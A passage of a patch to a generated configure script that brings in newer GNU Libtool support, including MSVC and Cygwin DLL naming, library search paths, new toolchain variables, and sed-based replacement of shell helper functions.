+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -14862,13 +15633,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -15432,6 +16261,7 @@ fi
+ fi # test -n "$compiler"
+
+ CC=$lt_save_CC
++ CFLAGS=$lt_save_CFLAGS
+ LDCXX=$LD
+ LD=$lt_save_LD
+ GCC=$lt_save_GCC
+@@ -16359,13 +17189,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+ lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
+ lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
+ lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
+ reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
+ reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
+ OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
+ deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
+ file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
++file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
++want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
++DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
++sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
+ AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
+ AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
++archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
+ STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
+ RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
+ old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
+@@ -16380,14 +17217,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+ lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
++nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
++lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
+ objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
+ MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
+ need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
++MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
+ DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
+ NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
+ LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
+@@ -16420,12 +17260,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+ hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
+ include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
++postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
+ file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
+ variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
+ need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
+@@ -16464,8 +17304,8 @@ old_archive_cmds_CXX='`$ECHO "$old_archive_cmds_CXX" | $SED "$delay_single_quote
+ compiler_CXX='`$ECHO "$compiler_CXX" | $SED "$delay_single_quote_subst"`'
+ GCC_CXX='`$ECHO "$GCC_CXX" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag_CXX='`$ECHO "$lt_prog_compiler_no_builtin_flag_CXX" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl_CXX='`$ECHO "$lt_prog_compiler_wl_CXX" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic_CXX='`$ECHO "$lt_prog_compiler_pic_CXX" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl_CXX='`$ECHO "$lt_prog_compiler_wl_CXX" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static_CXX='`$ECHO "$lt_prog_compiler_static_CXX" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o_CXX='`$ECHO "$lt_cv_prog_compiler_c_o_CXX" | $SED "$delay_single_quote_subst"`'
+ archive_cmds_need_lc_CXX='`$ECHO "$archive_cmds_need_lc_CXX" | $SED "$delay_single_quote_subst"`'
+@@ -16492,12 +17332,12 @@ hardcode_shlibpath_var_CXX='`$ECHO "$hardcode_shlibpath_var_CXX" | $SED "$delay_
+ hardcode_automatic_CXX='`$ECHO "$hardcode_automatic_CXX" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath_CXX='`$ECHO "$inherit_rpath_CXX" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs_CXX='`$ECHO "$link_all_deplibs_CXX" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path_CXX='`$ECHO "$fix_srcfile_path_CXX" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols_CXX='`$ECHO "$always_export_symbols_CXX" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds_CXX='`$ECHO "$export_symbols_cmds_CXX" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms_CXX='`$ECHO "$exclude_expsyms_CXX" | $SED "$delay_single_quote_subst"`'
+ include_expsyms_CXX='`$ECHO "$include_expsyms_CXX" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds_CXX='`$ECHO "$prelink_cmds_CXX" | $SED "$delay_single_quote_subst"`'
++postlink_cmds_CXX='`$ECHO "$postlink_cmds_CXX" | $SED "$delay_single_quote_subst"`'
+ file_list_spec_CXX='`$ECHO "$file_list_spec_CXX" | $SED "$delay_single_quote_subst"`'
+ hardcode_action_CXX='`$ECHO "$hardcode_action_CXX" | $SED "$delay_single_quote_subst"`'
+ compiler_lib_search_dirs_CXX='`$ECHO "$compiler_lib_search_dirs_CXX" | $SED "$delay_single_quote_subst"`'
+@@ -16535,8 +17375,13 @@ reload_flag \
+ OBJDUMP \
+ deplibs_check_method \
+ file_magic_cmd \
++file_magic_glob \
++want_nocaseglob \
++DLLTOOL \
++sharedlib_from_linklib_cmd \
+ AR \
+ AR_FLAGS \
++archiver_list_spec \
+ STRIP \
+ RANLIB \
+ CC \
+@@ -16546,12 +17391,14 @@ lt_cv_sys_global_symbol_pipe \
+ lt_cv_sys_global_symbol_to_cdecl \
+ lt_cv_sys_global_symbol_to_c_name_address \
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
++nm_file_list_spec \
+ lt_prog_compiler_no_builtin_flag \
+-lt_prog_compiler_wl \
+ lt_prog_compiler_pic \
++lt_prog_compiler_wl \
+ lt_prog_compiler_static \
+ lt_cv_prog_compiler_c_o \
+ need_locks \
++MANIFEST_TOOL \
+ DSYMUTIL \
+ NMEDIT \
+ LIPO \
+@@ -16567,7 +17414,6 @@ no_undefined_flag \
+ hardcode_libdir_flag_spec \
+ hardcode_libdir_flag_spec_ld \
+ hardcode_libdir_separator \
+-fix_srcfile_path \
+ exclude_expsyms \
+ include_expsyms \
+ file_list_spec \
+@@ -16589,8 +17435,8 @@ LD_CXX \
+ reload_flag_CXX \
+ compiler_CXX \
+ lt_prog_compiler_no_builtin_flag_CXX \
+-lt_prog_compiler_wl_CXX \
+ lt_prog_compiler_pic_CXX \
++lt_prog_compiler_wl_CXX \
+ lt_prog_compiler_static_CXX \
+ lt_cv_prog_compiler_c_o_CXX \
+ export_dynamic_flag_spec_CXX \
+@@ -16602,7 +17448,6 @@ no_undefined_flag_CXX \
+ hardcode_libdir_flag_spec_CXX \
+ hardcode_libdir_flag_spec_ld_CXX \
+ hardcode_libdir_separator_CXX \
+-fix_srcfile_path_CXX \
+ exclude_expsyms_CXX \
+ include_expsyms_CXX \
+ file_list_spec_CXX \
+@@ -16636,6 +17481,7 @@ module_cmds \
+ module_expsym_cmds \
+ export_symbols_cmds \
+ prelink_cmds \
++postlink_cmds \
+ postinstall_cmds \
+ postuninstall_cmds \
+ finish_cmds \
+@@ -16650,7 +17496,8 @@ archive_expsym_cmds_CXX \
+ module_cmds_CXX \
+ module_expsym_cmds_CXX \
+ export_symbols_cmds_CXX \
+-prelink_cmds_CXX; do
++prelink_cmds_CXX \
++postlink_cmds_CXX; do
+ case \`eval \\\\\$ECHO \\\\""\\\\\$\$var"\\\\"\` in
+ *[\\\\\\\`\\"\\\$]*)
+ eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"\\\$\$var\\" | \\\$SED -e \\"\\\$double_quote_subst\\" -e \\"\\\$sed_quote_subst\\" -e \\"\\\$delay_variable_subst\\"\\\`\\\\\\""
+@@ -17404,7 +18251,8 @@ $as_echo X"$file" |
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -17507,19 +18355,42 @@ SP2NL=$lt_lt_SP2NL
+ # turn newlines into spaces.
+ NL2SP=$lt_lt_NL2SP
+
++# convert \$build file names to \$host format.
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++
++# convert \$build files to toolchain format.
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++
+ # An object symbol dumper.
+ OBJDUMP=$lt_OBJDUMP
+
+ # Method to check whether dependent libraries are shared objects.
+ deplibs_check_method=$lt_deplibs_check_method
+
+-# Command to use when deplibs_check_method == "file_magic".
++# Command to use when deplibs_check_method = "file_magic".
+ file_magic_cmd=$lt_file_magic_cmd
+
++# How to find potential files when deplibs_check_method = "file_magic".
++file_magic_glob=$lt_file_magic_glob
++
++# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
++want_nocaseglob=$lt_want_nocaseglob
++
++# DLL creation program.
++DLLTOOL=$lt_DLLTOOL
++
++# Command to associate shared and link libraries.
++sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
++
+ # The archiver.
+ AR=$lt_AR
++
++# Flags to create an archive.
+ AR_FLAGS=$lt_AR_FLAGS
+
++# How to feed a file listing to the archiver.
++archiver_list_spec=$lt_archiver_list_spec
++
+ # A symbol stripping program.
+ STRIP=$lt_STRIP
+
+@@ -17549,6 +18420,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+ # Transform the output of nm in a C name address pair when lib prefix is needed.
+ global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
+
++# Specify filename containing input files for \$NM.
++nm_file_list_spec=$lt_nm_file_list_spec
++
++# The root where to search for dependent libraries,and in which our libraries should be installed.
++lt_sysroot=$lt_sysroot
++
+ # The name of the directory that contains temporary libtool files.
+ objdir=$objdir
+
+@@ -17558,6 +18435,9 @@ MAGIC_CMD=$MAGIC_CMD
+ # Must we lock files when doing compilation?
+ need_locks=$lt_need_locks
+
++# Manifest tool.
++MANIFEST_TOOL=$lt_MANIFEST_TOOL
++
+ # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
+ DSYMUTIL=$lt_DSYMUTIL
+
+@@ -17672,12 +18552,12 @@ with_gcc=$GCC
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static
+
+@@ -17764,9 +18644,6 @@ inherit_rpath=$inherit_rpath
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols
+
+@@ -17782,6 +18659,9 @@ include_expsyms=$lt_include_expsyms
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec
+
+@@ -17828,210 +18708,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $* ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
+-
+-_LT_EOF
+- ;;
+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
+-
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
+-
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[^=]*=//'
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$@"`
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
+-
+-_LT_EOF
+-esac
+-
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1+=\$2"
+-}
+-_LT_EOF
+- ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1=\$$1\$2"
+-}
+-
+-_LT_EOF
+- ;;
+- esac
+-
+-
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
++
++ if test x"$xsi_shell" = xyes; then
++ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
++func_dirname ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_basename ()$/,/^} # func_basename /c\
++func_basename ()\
++{\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
++func_dirname_and_basename ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
++func_stripname ()\
++{\
++\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
++\ # positional parameters, so assign one to ordinary parameter first.\
++\ func_stripname_result=${3}\
++\ func_stripname_result=${func_stripname_result#"${1}"}\
++\ func_stripname_result=${func_stripname_result%"${2}"}\
++} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
++func_split_long_opt ()\
++{\
++\ func_split_long_opt_name=${1%%=*}\
++\ func_split_long_opt_arg=${1#*=}\
++} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
++func_split_short_opt ()\
++{\
++\ func_split_short_opt_arg=${1#??}\
++\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
++} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
++func_lo2o ()\
++{\
++\ case ${1} in\
++\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
++\ *) func_lo2o_result=${1} ;;\
++\ esac\
++} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_xform ()$/,/^} # func_xform /c\
++func_xform ()\
++{\
++ func_xform_result=${1%.*}.lo\
++} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_arith ()$/,/^} # func_arith /c\
++func_arith ()\
++{\
++ func_arith_result=$(( $* ))\
++} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_len ()$/,/^} # func_len /c\
++func_len ()\
++{\
++ func_len_result=${#1}\
++} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++fi
++
++if test x"$lt_shell_append" = xyes; then
++ sed -e '/^func_append ()$/,/^} # func_append /c\
++func_append ()\
++{\
++ eval "${1}+=\\${2}"\
++} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
